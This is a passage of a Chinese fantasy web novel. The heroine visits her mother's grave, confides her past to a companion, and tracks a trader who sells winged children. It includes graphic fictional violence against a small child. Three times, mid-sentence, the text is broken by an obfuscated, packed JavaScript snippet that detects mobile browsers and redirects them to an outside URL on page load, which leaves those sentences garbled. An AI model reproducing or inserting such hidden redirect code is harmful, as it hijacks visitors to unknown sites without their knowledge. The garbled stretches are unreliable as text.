季衡、季瑶家很大,完全不愁坐下这么多人,于是陆云笺印象深刻的几个除夕,永远都是他们聚在一起,屋内热气蔓延,屋外灯火璀璨。那时的陆云笺从不曾想过,那样的时光在不久后会成为她百般怀念、却再也回不去的梦。 再回过神来时,几人已经用完了晚饭,柳娘提着一盏风灯,带着两人缓步走到了后山。 “这座山据说是叫眉阳山,百年前原本坐落着一座很大的仙府,后来仙府虽然没落了,这山却还有些灵气,所以相比起别的地方,没什么妖魔鬼怪作乱。” 知晓陆云笺失了记忆,柳娘便又讲起了许多陆云笺曾经知道、如今却已忘却的事,陆云笺便在这样轻缓的讲述中,渐渐把空白的记忆填充成片段。 “是个宝地。”柳娘言简意赅地对此地做了个总结,“我从乐坊里头出来,嫁了个男人,好容易熬到他死了,一路辗转到了这里,就用剩下的钱两盖了间简陋的屋舍,后来跟着村里的老人家学了刺绣的手艺,时不时绣些东西拿出去卖,日子就好了些。哎你们瞧我,又扯远了。 “在这里住了几年之后,你娘亲就带着你来了。那时候你特别小,小小的一个,不知道满月了没有。你娘亲来的时候又慌张又疲惫,也不知道是发生了什么事,那时候我碰巧从外边回来,瞧见你娘孤身一人,就问她怎么一个人走到这山里边来了。 “她说她没地方可去,瞧见这山里头有炊烟,猜想应当是有人住的,便想先在这里停留一段时日。我看她孤身一个女子,哪还有什么不明白的?赶紧带她进了村,准备了水和吃的。后来啊,你娘在这里一留便是近十年,再也没走了。” 说到这里,柳娘忽地住了嘴,偷眼去瞄陆云笺。 陆云笺并没有想太多,柳娘却因为太过在意她而生出了些过度的警惕,见陆云笺神色愀然,还当是自己说错了话,于是接下来便没再做声。 再走一段,便到了一处墓群。 柳娘将原本就很慢的步子放得更缓了。 山间的重重枝叶遮挡了月光,风灯也并不算很亮,要照亮前路有些勉强,可柳娘全然没有半点犹豫,步子虽缓,却坚定地径直往一个方向走去。 转至一处,一盏昏暗灯笼映入眼帘,灯笼很小,也并不十分亮,茫茫天地间,魆魆山林中,只有这一盏灯,如一豆微弱萤火,照亮了方寸天地。 “你娘亲不喜欢黑,所以我给她留了一盏灯。” 陆云笺正欲将带来的几盏鲜果放在娘亲墓前,弯腰去看,却见墓前摆了一束洁白如雪的花,仔细辨认,才发现是木梨花,放在此处有些时日了,花已经渐渐枯萎。 去放果盏的手便停在了半空。 陆云笺还能清晰地记起,母亲最喜爱的便是木梨花,于是父亲总在家里摆着一只细颈瓶,插上几枝新鲜的木梨花,去看母亲时,若是时节得宜,也总会放上几枝木梨花。不想相隔两个时空,这一束几近凋零的木梨花还能给予她几分慰藉。 柳娘见她动作停顿,便道:“你娘亲最喜欢木梨花,只是木梨花的时节刚过去,采不到新鲜的了。” 裴世与柳娘都以为陆云笺与母亲阔别已久,应当会有很多话要说,可陆云笺什么都没有说,也没有把木梨花枯萎的花瓣拣去,只微微弯腰,将果盏放在母亲墓前,拜了三拜。 然后她望着那豆孤灯,望了很久,忽然开口问道:“那我父亲呢?” “……” 陆云笺转过身,望向柳娘的眼里闪着意味不明的光,先前的几分笑意却都荡然无存:“柳娘,你讲了很多关于我母亲的事,那我父亲呢?你见过他,认识他,了解他吗?” 先前陆云笺听柳娘说她母亲匆匆忙忙、孤身一人走到这里,就已经明了了七分。 柳娘先是一怔,而后明显犹豫了很久,才嗫嚅着开口:“没见过,不认识。但是我说……云笺,你不要伤心,我说句实话,要是你爹真是个好人,你娘一个大家闺秀,至于到这破地方来吗?那么老些年也没见他来寻你娘,也没什么音讯,若不是死了,那就——” “所以,”陆云笺忽地出声打断了她,“我虽称云间世的尊主为‘父亲’,但我只是他的义女而已,对吗?” 颅内嗡嗡,后来旁人再说什么,她都没听进去几句。 若是有情,为何留母亲孤身一人,为何近十年,都不曾来寻过她。 若是无情,为何又千里迢迢赶到此处,收她为义女。 若是想认她,为何要以“义女”之名。 若是不想认她,又为何要她称他一声“父亲”。 如果是陆稷除祟碰巧经过此处、救下了她,这样的巧合原也不是没有,但陆云笺不信,堂堂仙门第一大派的尊主要收养义女,会不查来历、不验血缘,糊里糊涂地就收了。 但是再怎么疑惑,她也没有办法去查,她既对这个时空一无所知、无处着手,也不可能去问陆明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191083|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周,更不可能去问陆稷。 更何况,还有不到两月就要开启合魂法阵了,届时无论成功还是失败,她在这个时空都将不复存在。 她在另一个时空已经死了,在这个时空,也绝无可能再一无所知、安然无事地活下去。 村子里还留着陆云笺少时与母亲一同住的屋子,那时邪祟被除,后来陆云笺又设了结界,许多村人便又重建了屋舍,继续住在此处。 陆云笺也复原了从前住的小屋,平日里虽不住人,但柳娘时常帮着打扫,屋子里便也没落什么灰,也仍然很整齐。 村人们欲留陆云笺与裴世住几天,只是村子很小,实在腾不出什么空余的屋子来,又怕屋子简陋,怠慢了仙君,便左右为难,不知该怎么办。 陆云笺便道:“没事,屋子里有两张床榻,我们挤挤就好了。平时出任务,不方便的时候我们也都这么挤过来的,没事。” 屋子有些窄小,也没摆太多东西,只摆着两张床榻,窗边有一张桌案,桌边摆着两只沉重的木箱,不知放的是什么。 桌上也只有一个笔架、一方砚台、一只插着快枯萎的木梨花的小花瓶,还有一盏尚未点亮的灯。 陆云笺盯着那枝木梨花看了一会儿,想来离窗户近的那张床榻应当是母亲的,于是她走过去,一言不发地躺进去,然后用被子蒙住了自己的头。 不知过了多久,久到呼吸在被褥里有些窒闷时,陆云笺才忽地想起来旁边还有一个人,于是掀开被子,果然瞧见裴世抱手站在门边,他站得很直很挺拔,于是与简陋窄小的屋子和床榻都更加格格不入。 陆云笺坐起身,一开口,声音微哑,于是她清了清嗓子,又顿了一会儿,才道:“不好意思啊裴世,这里有些简陋了,要不你……” 可惜眉阳山地处偏僻,离最近的客栈也有好一段距离,天色已晚,请人出去是很不妥的。 裴世却道:“无妨,还要多谢收留。只是我现在并无困意,”他示意桌案旁的椅子,“能坐坐吗?” 他说得仿佛很恳切,教陆云笺恍了一瞬神,好容易反应过来,忙道:“坐坐坐。不用客气。” 裴世便在桌边坐了下来,此时皎月高悬,窗户正对着月光倾洒之处,他便抬头望着月亮,一时间什么都没有说,也没有别的动作。 陆云笺于是又用被子蒙住了自己。原还是想像从前一样,将在这个时空遇到的一切都沉入心底,不去想也不去管,这是胆小鬼的自保之策,她是最为熟练的。 可不知是窗边月光太亮,隔着被褥都晃眼,或是冬日时节,透过窗户的风太刺骨,还是不曾点灯,无边的黑暗太难捱,她竟如何也无法再平静心绪。 又不知过了多久,陆云笺再度睁开眼,掀开被褥一角,才后知后觉地发现枕头已经濡湿。 裴世兀自撑着脸坐在窗边,望着窗外,没有表现出分毫倦意。 陆云笺道:“裴世,你不困吗?” 裴世转过头来,没有回答,反而问道:“你睡不着吗?” “……” “之前海妖设置鬼界幻境,为了不睡过去,你让我讲故事。现在,既然我们都睡不着,你不如说说你自己的故事?” “……我?”陆云笺抬眸看向他,见他的确没有半分促狭捉弄的意思,于是也很诚恳地回答,“我没什么故事可讲。” 裴世道:“听者觉得有意思,那便是故事。既然我讲了,作为交换,你便讲讲你所说的‘现代’?对那边你想必是很熟悉的,不过我没有去过,听一听,也总有些意思。” 他嘴角噙着浅浅笑意,笑容淡到令人怀疑那弧度究竟是否真实,可月光之下一切分明,绝无虚假。 他道:“你想说什么便说,我就在这里听着,听完了就忘了,也不会说出去。” 56. 久温言 “我……”陆云笺原本常因无人知无人晓而困顿无措,此时话到嘴边,却又不知该从何说起,最后只颓然无力地道了一句,“……我还是太没用了。” 裴世倚在桌边,静默地等着她继续。 “我娘是因病去世的,在我八岁的时候。所以其实我对我娘印象没有那么深,后来都是我爹……就是我爸,一个人把我和我哥带大的。 “我们那边不修道,我爸当然也不可能是什么天下第一大派的掌门,甚至其实……我们家条件也不是很好,我爸整天到处奔波,常常吃不饱饭、睡不好觉,又累,所以他身体也不是很好,但是要去治病的话,总要花很多钱,他就一直拖着,也没有去检查。 “我哥的话,他虽然看起来吊儿郎当、无所事事的,但其实他也一边读书一边到处找事干,但是他们从来都没有让我出去做什么事,就让我好好读书。读书就是……参加考试,考得好的话进了好大学,就是改变命运了。” 裴世垂眸听着她讲,此时说道:“就像仙门百家一般,云间世就像是所谓的‘好大学’,人们挤破了脑袋都想进?” 陆云笺恹恹地:“差不多吧。但是很不幸,我的成绩……也就一般般,偏科很严重,就比如……我可能比较擅长格斗之类,但我弹琴舞乐什么的不行,但是考试的话却都要考。就差不多这个意思。” 裴世道:“那不是很正常么?你虽不擅弹琴舞乐,但论格斗与灵力,修真界无几人能出云间世陆小姐其右。” “你不是也很厉害?” “所以我也不会什么弹琴舞乐。” 陆云笺嘴角弯了一弯,道:“但是我哥,还有季衡、季瑶他们就什么都会。” 裴世也轻声笑道:“所以他们未必打得过你,也未必打得过我。” 陆云笺心中的阴霾被他的歪理扫去一片,她笑了笑,继续道: “但是总之,由于我的成绩整体来讲没那么好,所以改变命运什么的,还是有点悬。不过,我还没来得及迎来改变命运的第一个机会,我的命运就终止了。 “我觉得很奇怪,当时我真的以为我马上就要死了,可是不知道为什么,居然又在病床上拖拖拉拉了两年。 “那两年我的意识总是有些混沌,睡的时间比醒的时间还长,虽然醒了,但是医……大夫说还是很危险,随时可能死掉,所以我就一直住在重症病房里。 “重症病房特别贵,几个月甚至几年十几年的钱随随便便就搭进去了,我都不能想象……在那样的地方,我住了两年,我爸和我哥该多辛苦多累。 “那时候我经常想,如果我家有花不完的钱就好了,就像小时候看电视剧,也总是想着,要是和剧里的人一样能御剑飞行、飞檐走壁就好了。 “没想到居然成真了。在另一个时空,我家居然是第一大修真门派,我的父亲居然是第一大修真门派的掌门,我家真的不愁吃也不愁穿,真的能御剑飞行……但是我突然觉得好累,想回去了。 “说到底,我终究不是这个时空的人。为什么两个时空会这么不一样?如果非要不一样,那就完全不一样好了,为什么要让所有熟悉的人都变成陌生的样子?我不明白。” 陆云笺猛地一抹眼泪,忽然又笑起来:“但所幸我死了,要是再在重症病房待下去,真的不知道要多大代价。但是我到底还是什么都做不到,到最后,我都不知道我爸身体怎么样,家里以后的日子,要怎么过下去。” 她说到这里,言辞便有些混乱,有些含糊不清:“我爸常说,我妈妈喜欢木梨花,无论到了哪里,只要还有木梨花开,一定要记得插一支……我躺在病床上的时候,我爸说我是妈妈留给他唯一的礼物,求求我一定撑下去……” 裴世将视线从陆云笺腕上戴的白玉珠链收回,似是微不可察地叹了口气,而后道:“如果你想查明真相,我可以帮你。” “我不敢。”陆云笺说,“我也什么都做不了。” 她既不能质问,也不能将一切和平都打破。 即便知道真相,也不可能用剑指着父亲,问他“我娘四处奔波受尽欺辱死于妖魔口腹之中的时候,你在哪里”,更不可能指着他的鼻子问“为什么把我带回云间世,却对旁人说我们没有血缘,只是你心善,你心怀大义,见不得孩童死于妖魔之口,于是将我救回来,收作义女”。 到最后,陆云笺深吸一口气,以她惯常的说辞作结:“就这样吧。反正还有不到两个月,我应该就真正意义上的死了,怎么样都没有关系了。” 裴世闻言,呼吸蓦地绷紧一瞬。 陆云笺勉强扯出一个笑容,道:“不过说出来还是好很多了,我是个憋不住什么话的人,往日里总是和身边的朋友讲,所以到了这个时空,总是很不习惯。裴世,多谢你,不过现在好像更加睡不着了。” 裴世沉默片刻,道:“从前只偶尔听你讲起过你母亲,却不想有朝一日,你会讲起你的父亲。” 陆云笺笑道:“是了,我之前从云间世的石室里醒来,也弄不清楚情况,后来观察了一阵,才发现,这个时空我的母亲可能也已经过世了,云间世里并没有什么她的痕迹。” 裴世又静默片刻,忽然道:“我幼时,也曾一心希望能够入仙门学艺。” 陆云笺眨眨眼。静默一瞬,她顺着他的话问道:“为什么?想要匡扶正义,还是想让家里过得更好一些?” 裴世摇头:“是为了复仇。” “……” “修真界并没有多太平,就像你的母亲,像我的父母,都是仙门大家眼里微不足道的蝼蚁,随随便便一场妖魔邪祟动乱,就可以让他们尸骨无存。 “存在两个时空,这在修真界是一个很普遍的传闻,人们对与魔王对抗的仙人歌功颂德,便也都知道了另一个时空的存在。 “我幼时也曾肖想过,是否在另一个时空,我也能持剑除祟,我的父母不用受妖魔所害。后来真进了仙门,就像你说的,忽然觉得好没意思,想来世上果然不存在两全之事。 “我虽进了云间世,起初却没有灵力,学习法术举步维艰,你对我说,‘有所不长,非你之过’。不想如今反了过来,是我将这句话送给你。 “我幼时曾遇一山中道人,我问他所谓两个时空,是否能有所不同。他回答说,一念之差,地覆天翻。或许你阴差阳错来到这个时空,正是为了让这个时空发生地覆天翻的改变,只是眼下无人可知这改变究竟会是什么。” 裴世说这些话的时候,没有去看陆云笺,只垂着眸,指尖在银护腕上磨过一遍又一遍,磨得那抹银白在月光之下越发锃亮晃眼。 二人沉默良久,陆云笺忽地“扑哧”笑出了声,那笑很轻快,倒让裴世微微一怔。 她道:“裴世,谢谢你。不过我呢,没什么远大志向,并不奢求什么能给一个时空带来天翻地覆的改变这种事,我只想让我身边的人都健康快乐,而我会尽力不拖他们的后腿,这样就好了。但是裴世,你从前想要变强的愿望实现了,这很好,所以不管是保护大家,还是改变整个世界,我相信只要你想,就都能做到。” 她说着便下了床榻,故作高深地走到裴世身旁,在他尚未反应之时,在他肩上重重一拍,苦口婆心道:“时代掌握在你们这些年轻人手里。” “……” 陆云笺没去看他的神色,又躺回榻上,蒙上了被子:“多谢你,我现在能睡着了,你也早点睡。”她说得很轻松,仿佛之前止不住眼泪、几近昏厥的人并不是她。 静默良久,久到陆云笺以为裴世不会再说话时,却忽然听见他轻笑一声:“陆云笺,你真是……”那笑里有几分她熟悉的嘲讽,但更多的却是苦涩,在漫漫黑夜里蔓延开来,嵌入每一丝空气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197120|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆云笺不自觉地屏住呼吸,等他把话说完。 然而裴世没有把那句话说完,而是转了话锋:“这几日季衡他们应当就会经过此处,是与他们一道走,还是先回云间世一趟?” “……”陆云笺沉默片刻,“不回了吧。”她听见裴世微不可察地“嗯”了一声,也或许没有,只是她的幻觉。 裴世起身,轻轻将椅子推回原位,合上窗,推开屋门,等了好一会儿,陆云笺才听见他把门合上的细微动静。 时辰已晚,万籁俱寂,陆云笺也没再辗转反侧,只一动不动地瞪着天花板。 一片黑暗中什么都看不清,平日里矮矮的屋顶在此时显得无限渺远,陆云笺就瞪着那片漆黑,一直瞪到后半夜才勉强入睡。 然而没睡多久,梦中看见母亲被妖魔鬼怪撕碎,鲜血飞沙迷人眼,猛地惊醒,方觉冷汗已湿重衫。 陆云笺呆呆地坐了一会儿,没再躺回床榻,而是走到桌案边,将桌上那盏灯点亮,昏黄灯光照亮了这方小小屋舍,将她的影子拉得很长。 她便就着那抹昏黄的灯,半是观察半是摩挲,打开了放在桌案边的两只木箱。 两只木箱都沉甸甸的很有分量,打开来,扑面一阵隔着岁月的陈旧的味道,还有被封存在木箱里的淡淡木梨花香。一只木箱装的是叠得整整齐齐的衣物,另一只木箱装的是满满当当的书。 一看便知母亲是个做事很细致的人,衣物的破损处都缝了一只飞燕,针脚细密整齐,飞鸟色彩鲜明,如同活物。 满满当当一箱书卷摊开来,字里行间的空余处都写满了蝇头小楷,密密麻麻,工整娟秀。 夜色浓深,唯有一豆孤灯相伴,陆云笺细细地将那些衣物与书卷都看了个遍。 第二日柳娘喊他们用早饭时,她便又恢复了往日里轻松活跃的样子,推开门,尚未瞧见人影,便笑道:“柳娘早,今天天气真好啊。” 柳娘应了一声,道:“哎,小裴呢?没起?” 陆云笺道:“他昨晚上就出去了,一直没回,不知道去做什么了。” 柳娘道:“莫不是又去山上抓妖怪了?以前你们常一起去后山那些地方找妖怪,说是寻消遣。我说,这里的妖魔鬼怪死的死逃的逃,野兽都没有,你们还天天往外跑,多累啊。你们不听我的,这回还三更半夜的跑出去,觉都不睡了,还见不着个人影。” “挺好。”陆云笺道,“待会儿吃了早饭,我也想去外面转转。” “……也行。”柳娘端出两笼热气腾腾的包子,“不过这附近都是山,没什么好转的。要去镇上的话,还得走上一段呢。” “那我就到附近走走好了,也不是非得去镇上。只是这几天另外几个朋友就要经过这一带了,我们到时候就跟他们一起走,在这里住不了几天,所以想趁着这点空闲放松一下,别浪费了这样的好天气。” “什么,才住几天就要走?” 柳娘放碗的力道不由自主地重了几分,虽然有些失落又有些不甘,但到底还是习惯了这两人匆匆来匆匆去的作风,于是也只能妥协:“罢啦罢啦,看到你们好好的就行了。真是……” 柳娘背过身去嘀咕了几句,陆云笺没听清,也没有去问。她匆匆吃了早饭,笼里的包子甚至还没动,就已经起身,打过招呼,就要往外边走。 柳娘忙拦住她:“吃这么点?” 陆云笺道:“我没饿。” 柳娘见劝她不动,只得道:“那我送送你。” 陆云笺看了一眼不到五十米开外的结界,默默地由着柳娘走在前面为她带路。柳娘将她送到结界前,陆云笺好容易挨过她的一顿叮嘱,逃也似的奔出一段,到了昨晚与裴世一同走过的小道。 还未适应周遭山林的气息,便瞧见山道上远远行来一人,左右挑着两个将近半人高的箩筐,悠悠朝这边行来。 57. 窥隅影 陆云笺原想避开,但这条唯一的山道正通往眉阳村,这人能绕过七弯八拐的山间小路进到这里,想必不是误入。她并不想让旁人随随便便进到村子里去,于是绕到了那人的正前方,挡住了他的去路。 挑着箩筐的人先是微微一惊,不过他眼睛很毒,一眼便瞧出陆云笺是修道之人,于是放下了箩筐,搓着手笑道:“仙、仙君。”这人脸颊微凹,皮肤黝黑,挤在两个又高又胖的箩筐中间,愈发像个瘦麻秆。 陆云笺示意被他搁在地上的箩筐:“这箩筐里装的是什么?” 瘦麻秆并没有急着将盖子掀开,而是先左右张望片刻,而后凑近了些,神秘兮兮地道:“这筐里装的可是好东西。我是看这儿竖着这么大一道结界,想必有位法力非凡的仙君在此,所以才到这儿来的。” 竹篾盖子被掀开一角,陆云笺才看清里头蜷缩着一个什么东西,就被它浑身上下冒出的金光晃住了眼睛,还没来得及睁眼看清到底是什么东西,盖子就又被盖上了。 那东西浑身金光闪闪,在竹编箩筐里头却半点也透不出来,想必是施了什么法咒,掩去了许多痕迹。 瘦麻秆一直在旁边察言观色,此时补充道:“仙君,您看这东西您需要不?我看仙君是内行人,不瞒您说,这批货就是同渊阁里头出来的,前阵子同渊阁出了事,好容易才保住这么些。您看……” “……”陆云笺好容易才从被金光刺得眼前发黑的眩晕中缓过来,“没看清,到底是什么?” 这回轮到瘦麻秆愣了一下,随即眼神有些冷下去,半晌才道:“……您不知道?” 陆云笺发觉自己方才说的话或许不太妥当,于是道:“你若要卖,也要给我看清楚它成色怎么样,合不合我意吧?” 瘦麻秆这才再度喜笑颜开,连声道:“那是、那是。”说着又将竹篾盖子掀开来,只是一手仍护着箩筐,挺直了背脊,不住地四处张望。 金光只一闪便渐渐暗下去,陆云笺定睛一看,不自主地退了半步—— 箩筐里装着的,不是什么稀世珍宝,也不是什么独门丹药秘籍,里头蜷缩着瑟瑟发抖的,分明是活生生的人! 还是年纪很小、极为瘦弱的孩童,甚至比寻常孩童要更小。不过那个“人”却浑身苍白、毫无血色,背上生着一双金色羽翼,那羽翼比它本身更大,将它笼在灿灿金光中。 骤然见了外头的天光,它缓缓转过脸,头发与眼睫皆是如雪一般洁白,眼眸则如羽翼一般是金色,万顷星河,流转其中。 乍一看是人的形态,可周身却没一点是人该有的特征,反倒更像是妖类。 见她退后,瘦麻秆道:“仙君怎么了?” 陆云笺勉强平复呼吸,道:“往日只听说过,不曾亲眼见过,不甚了解。这是……” 瘦麻秆道:“仙君既然听说过,那也不必我多费口舌。照灵神鸟的翎羽落于人间,形成了一个种族,叫做照翎族,这两个就是照翎族的混血后代。这种白发金瞳有翅膀的,都是经过转化的,仙君买回去,要修炼入药什么的都方便,便是只关在笼子里、放在宅子里,也是上佳的灵力源泉。现在我们手上也就剩了那么几只,仙君若有意想买——” 他又不着痕迹地上上下下打量了陆云笺几眼,伸出一只手,比划出个“八”字。见陆云笺并没有什么反应,瘦麻秆悻悻地自己补充道:“每只八千金。” “八千金?!” 陆云笺初时被这天价惊得退了几步,片刻后想起来,这八千金买的是一条命,无论是人是妖,至少都是活生生的性命。 瘦麻秆还以为是自己开高了价,原以为陆云笺衣着本事都不凡,区区八千金应当不在话下,此时见她反应,觉得大约是自己看错了,于是道:这年头做这生意也不容易,我也想赶紧把手上的货卖了就不干了。这样吧,六千五百金,不能再少了。” 陆云笺心脏突突直跳,尚未完全缓过来,面上却还算冷静,她走近那箩筐,仔仔细细瞧了一阵,道:“若是要买,那也得拿出来好好看看,万一我买了又出了什么问题,上哪找你?” 瘦麻秆道:“仙君说的这是什么话。” 见陆云笺要伸手去碰箩筐里的东西,瘦麻杆忙上前阻住她的手:“仙君,这东西可不能过手,脆弱得很,要是出了差错,那怎么说得清?” 陆云笺的手停在箩筐边沿,没有收回。 她抬眼看向瘦麻秆,道:“你可有店铺?之后要是有什么需要,也方便找你。我有个朋友正在寻这东西,下次他来,也好多照顾照顾你的生意。” 瘦麻秆却精得很,只道:“自同渊阁倒了之后,就没什么铺子了,也就是想卖完手上这几只。仙君您再仔细瞧瞧,这两只当真是很好的了,往日里在同渊阁黑市,高低得卖个两万金。” 陆云笺便又很仔细地瞧了一阵,最后只推脱说东西不值这个价,那瘦麻秆费了半天口舌,最后还是悻悻地走了,心里大概还得骂上几句。 陆云笺待他走出山林,这才循着他走过的路径跟上。 瘦麻秆早已走远,陆云笺却并不担心跟丢。方才拉扯间,她早已在箩筐角落里塞了一张追踪符,是早已画好的成品符咒,效力时间应当是足够的。 不知绕过了多少弯曲小道、偏僻街巷,瘦麻秆挑着箩筐走了一路,再没碰见什么修士,最后拐进一个狭窄冷清的巷子,拨开靠在门边的几捆木枝,左右四下看了看,这才叩响了门环。 进了门,瘦麻秆将箩筐在院中放下,坐在矮树墩上,颇有些怨怼地道:“又没卖出去。好容易见着个看起来有点钱的,说了老半天又不买,浪费口舌。” 院子里响起了另一个声音,伴随着重新响起的叮叮当当敲击金属的声音:“等做完卖完手上这批就不干了。同渊阁没倒的时候,说是禁止,但还有好些大门派的修士来买,现在同渊阁倒了,各个门派就都开始抓这种东西,黑市里的东西都快被端干净了。往日里赚的那些钱两也够吃穿快活一辈子了,见好就收吧。” “话是这么说,可现在又不敢上门派里头去卖,路上碰见的修士又没几个肯买的,手上这些……什么东西?” 话未说完,瘦麻杆便听见身后老树旁响过沙沙声,虽不是什么大动静,但他亏心事做多了,胆子便有些小,听见动静,立刻转头起身察看,然而树上树下、墙边的布袋石块全都毫无异样。 敲金属的声音便又继续了,另一人道:“别疑神疑鬼的,这地方这么偏,谁找得上来?我觉着也没几个门派有闲心管我们。当年他们自己还乐得买呢,现在查得严,也就是旁人抖出了一些同渊阁的烂事,这些门派总不能装聋,给点反应意思意思也就得了。” “也是。但最近到处都在查,还是小心为上。”瘦麻秆又坐回了矮树墩上,“和这些修仙的门派扯多了风险还是太大了。同渊阁左右也不过是个商行,怎么也被扒得这么干净。听说之前也卖这东西的那几个商户都被各门派抓了问罪,得亏我们风头不如他们大,倒让他们替我们挡了一遭。” 敲金属的声音顿了一瞬,那人抬起头,露出一张病恹恹的面容。 双目突出,眼仁偏上,眼下两片浓重淤青几乎蔓延到了突出的颧骨,两颊微陷,像是久病于榻,迫不得已被拉起来干活,下一秒就要咽气,然而他双目之中却闪着宛如毒蛇亮出尖牙的光亮,毫不掩饰,令人毛骨悚然。 死鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202080|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼抬起眼,轻飘飘地扫了瘦麻秆一眼,冷哼一声。 瘦麻秆浑然不觉他的目光,起身道:“我看你打得差不多了,应该今天就能把剩下那几个都弄完?” “差不多。” “那你待会儿把这两只关笼子里去,我去把那几个准备好。”说着推开身后那间小屋虚掩着的木门,热气忽地扑面而来,令人一时呼吸不能。 瘦麻秆等最初那阵热气散了,这才迈腿进门,片刻后又出来,去了另一间房,似乎是去取什么东西。 待他走开,藏在暗处的陆云笺以迅雷不及掩耳之势闪身进了方才瘦麻秆打开的那间小屋,在一堆杂物后面蹲了下来。 屋里什么都有,木柴布袋茅草堆得乱七八糟,屋子中央烧着一口大锅,足有一人高,炉火正旺,锅内飘来阵阵浓郁的药草味道。 陆云笺刚藏好,瘦麻秆便去而复返,一只手提着一袋五颜六色的灵石、一袋品相奇异的花草,另一手拎着个什么,隐在暗处,难以看清。 瘦麻秆扔了几颗灵石进炉中,将手里拎着东西往旁边一扔,从一旁取了个木盆,从大锅旁架着的梯子上去,似乎是要取锅里的东西。 趁着这个空当,陆云笺才看清被他扔在一旁的是什么—— 那分明是个不过三四岁的小孩儿! 陆云笺猝然睁大眼睛,待要起身时,瘦麻秆却已经从梯子上下来了,陆云笺只得又缩了回去,手上甩出一纸引水符,瞬间熄灭了炉中火焰。 瘦麻秆端着空空的木盆下来,嘀咕道:“奇怪,刚加的灵石,怎么就熄了?”说着又扔了几颗灵石进去,正要再度爬上梯子时,火又熄了。 “什么东西?这灵石是假的?” 于是,他扔灵石,陆云笺扔水符,两人一时僵持不下,直到陆云笺身上的引水符都用完了,瘦麻秆盯着那不再熄灭的火,似乎咒骂了几句,才又顺着梯子上去。 这瘦麻秆明显囤了不少灵石,陆云笺身上的引水符却有限,偏生画一张符咒又要半天,正不知如何是好之际,忽地灵光一闪。 在瘦麻秆没有注意到的地方,陆云笺以无人能听到的声音唤了三声“火吱鼠”,并在沸腾水声的遮掩下,打了个含蓄的响指。 然而,并没有想象中的火耗子蹿出来。 陆云笺还欲再试,瘦麻秆已取好了烧开的水,从梯子上下来了。她忙住了嘴,此时才后知后觉地意识到—— 什么乱七八糟的化兽术,裴世这厮,竟是蒙她的?! 瘦麻秆拉起倒在一旁的孩童,滚烫的水刚一接触到那孩童的皮肤,他便猛地弹了起来,开始剧烈挣扎。那孩童不过才三四岁,力气自然比不上瘦麻秆,更何况他脸色极度苍白,也无法说话,原本想大喊,却只成了无力的喑哑。 那孩童扑腾几下,差点把木盆里的水扑到瘦麻秆身上,瘦麻秆一闪,随即“喀”的一声,生生将那孩童的一只胳膊拧断! “靠,劲儿还挺大,血没放够?” 似乎是并不愿意让孩童断胳膊断腿,瘦麻秆把木盆放到一边,走到痛晕过去的孩童身边,先给了他一巴掌,才抓起那条绵软无力的胳膊,把错位的骨头又“喀”地一声拧了回去,拧完之后,便又将昏迷的孩童拖到木盆边。 这时,陆云笺总算在身上搜罗出了几张适于攻击普通人的符咒,正欲甩出,身旁暗处忽地飞来一道灵力凝成的暗箭,刺穿了瘦麻秆拽着孩童的那只手,刹那鲜血狂涌! 紧接着,陆云笺忽然感到后背撞上了一个什么东西,那东西还在悉悉索索地动。 可陆云笺记得,她藏身在堆积如山的杂物后边,身后分明只有一面脏兮兮的墙,没有其他任何东西才对。 58. 金羽骨(1) 陆云笺整个人像被兜头泼了一盆冷水,浑身上下都发冷。 不知身后是敌是友是什么东西,她一瞬间感到浑身僵硬,好容易才缓过神,而后缓缓回过头去。 直到看见仿佛不小心把头埋进沙子里的鸵鸟一般、奋力把身子从墙边一个狭窄洞口往外拔的熟悉身影,她才终于松了口气。 瘦麻秆的惨叫声引来了外头忙活的死鱼眼,死鱼眼只瞥了一眼瘦麻秆手上的伤口,居然就径直往墙边——暗箭射出的地方走来。 还好此时,贺江年终于把自己从洞口拔了出来,放下暗门,顺手给两人施了个隐身咒。 这法咒的持续时间并不长,好在死鱼眼在墙边转了几圈,没发现什么异样,便又走回瘦麻秆身边,道:“有修士。这地方不能待了,这几个先别弄了,把东西清理一下,清完就走。”说着把那瘦麻秆拉了出去,似乎是去包扎伤口。 两人这才松了口气。 陆云笺道:“吓死我了,你怎么在这儿?” 贺江年道:“唉,别提了,阿瑶和季衡哥经过吞象阁,奉季宗主之命要去拜访吞象阁掌门,我一见那老头就烦,所以先走一步,就到这儿了。云笺你怎么在这儿?” “我就出来走走。”陆云笺道,“这两人不是什么好人,要传讯让附近的门派来吗?” 